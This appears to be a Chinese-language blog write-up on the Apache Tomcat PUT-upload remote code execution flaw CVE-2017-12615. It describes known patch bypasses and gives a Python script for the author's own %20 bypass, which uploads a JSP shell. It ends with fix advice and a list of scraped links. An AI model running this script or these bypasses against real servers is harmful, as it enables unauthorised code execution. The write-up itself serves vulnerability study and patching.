Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass
0x00 漏洞简介
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞。
漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。
其中 远程代码执行漏洞(CVE-2017-12615)
影响: Apache Tomcat 7.0.0 - 7.0.79
漏洞触发条件:
1,tomcat得架设在windows主机上
2,将readonly由默认值true设置为false。(开启http PUT 方法)
攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
该漏洞由360观星实验室发现并提交。
官方在确认漏洞并在tomcat 7.0.81中修复。
0x01 漏洞演绎:漏洞复现
需要的环境:
1,tomcat 版本低于7.0.81
2,burpsuite
官网上在7.0.81出来之后就找不到低于该版本的了,在csdn下了一个7.0.65的免安装版。
jdk的配置与及环境变量的配置就不多说了。配置好conf/web.xml的readonly 为 false。如下图

startup启动tomcat,环境就算搭好了。
漏洞利用姿势有两种:
1,利用windows对文件名的要求特性。倘若文件名最后的一个字符是空格或者点号,会被自动去掉。
利用空格

利用点号

2,利用windows的ntfs文件流特性。关于文件流请看这里(https://msdn.microsoft.com/en-us/library/dn393272.aspx)

至于原理可以参考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
0x02 漏洞演绎:bypass 补丁
在各方大佬对官方的的补丁进行分析,fuzz之后,发现了在文件名后加多一个'/' 或者'/.',可以直接bypass 补丁,攻击范围也从仅限于的windows扩展到windows和linux,漏洞影响版本也从仅影响7.x版本,直接日穿5.x到9.x所有版本。
漏洞影响:
版本:5.x-9.x
平台:windows,linux
bypass 补丁环境准备:
1,tomcat 7.0.81
2,burpsuite
修改好readonly,开始测试。
利用'/'

利用'/.'

0x03 漏洞演绎:我的bypass
在对多个版本进行复现,测试的时候,我也发现了一个'bypass',有些鸡肋,充其量应该算是补丁的缺陷吧。
1,版本仅限于7.0.81;
2,平台仅限于windows;
bypass 思路:先put请求一个服务器上面存在的jsp文件,如index.jsp%20,再put 我们自己的shell.jsp%20,神奇的发现创建了shell.jsp。测试了很久,发现只有%20可以过。
比如tomcat服务器上肯定存在index.jsp。
先put index.jsp%20 ,提示409

再put shell.jsp%20,可以发现成功创建了shell.jsp

在用burpsuite测试的时候,时不时会过不了。
写了个脚本,思路就清晰了不少。
#-*- coding:utf-8 -*- import requests
import sys
import random body = '<%out.println("hello ! This is my bypass shell");%>' urltemp = 'http://'+sys.argv[1]+'/index.jsp%20' # put the exists jsp,like the index.jsp
shellname = 'shell'+str(random.randint(1000,10000)) urlpoc = 'http://'+sys.argv[1]+'/'+shellname+'.jsp%20' urlnormal = 'http://'+sys.argv[1]+'/'+shellname+'.jsp' requests.put(urltemp,body) response = requests.put(urlpoc,body) code = response.status_code if code== 201:
print 'shell create'; response = requests.get(urlnormal)
code = response.status_code
if code == 200:
print 'Your shell: '+urlnormal
脚本是稳定的:

至于为什么会出现这种问题,得好好跟一下才知道了~~
0x04 修复方案:
认真检查tomcat 配置是否设置了readonly为false或者是否启用了PUT方法,设置readonly为true,禁用PUT方法!!
留意官方的最新补丁,及时升级!!
参考文章:
1,Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass(http://www.freebuf.com/vuls/148283.html)
2,Tomcat信息泄漏和远程代码执行漏洞分析报告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass的更多相关文章
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)
一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1 实验环境 操作机:windows 10 IP:192.168.1. ...
- Tomcat远程代码执行漏洞(CVE-2017-12615)修复
一.漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有Tomcat远程代码执行漏洞,当存在漏洞的Tomcat运行在Windwos主机上,且启用了HTTP ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
随机推荐
- SourceTree 简单使用 for Mac
系统版本: 10.12.6 SourceTree版本:2.3.1 (中文版)SourceThree安装包 密码:9jc3 传送门 目录 1.创建gitHub账号和仓库 2.sourceTree管理gi ...
- MyEclipse 2014各种优化设置
各种优化大整合,陆续更新使用中的问题,也欢迎大家提问. 1.通用优化设置:字体,UTF-8编码格式设置: http://jingyan.baidu.com/article/b907e627d2c5da ...
- 第一章 [分布式CMS]
第一次准备写一个完整的例子, 也是正在做的一个项目! 准备记录一下"心路历程".... 项目为分布式的CMS 前期架构分为,单点登录,结构系统,资源云,文档云 ,DB服务,工具服务 ...
- TCP协议三次握手与四次挥手通俗解析
TCP/IP协议三次握手与四次握手流程解析 一.TCP报文格式 TCP/IP协议的详细信息参看<TCP/IP协议详解>三卷本.下面是TCP报文格式图: 图1 TCP报文格式 上图中有几个字 ...
- 常用的十大Python开发工具
据权威机构统计,Python人才需求量每日高达5000+,但目前市场上会 Python 的程序员少之又少, 竞争小,很容易快速高薪就业.可能你并不太了解常用的十大Python开发工具都有哪些,现在告诉 ...
- 又想起Solaris
想起曾几何时,学习的第一个UNIX-like操作系统.只可惜,从来都是在此操作系统上用C语言编程,而没有用过Sun公司的java. 又几何时,Sun公司慢慢不行了.再后来过了几年,Sun公司把Ultr ...
- angular2 官方demo heroApp
最近学习angular2,于是从官网的hero例子开始学习.经过几番周折终于完成了这个例子.收益匪浅.个人建议在开始学习例子前可以先了解一些概念,模块,组件,装饰器.....,有助于写代码时候的逻辑. ...
- flex弹性布局学习
一.介绍 flex( flexible box:弹性布局盒模型),是2009年w3c提出的一种可以简洁.快速弹性布局的属性.主要思想是给予容器控制内部元素高度和宽度的能力.目前已得到以下浏览器支持: ...
- 【grunt】两小时入门
目录: 1. 用途和场景 2.Grunt插件 3.相关资源 4.环境安装 5.开始学习 5.1 一个新项目 5.2 生成package.json 5.3 在项目中安装grunt和相关插件 5.4 Gr ...
- ios 初体验< UISegmentedControl 分段控件>
小知识: 数组快速创建 @[@"",@"",@"",@"".......],字典快速创建方法:@{@"&q ...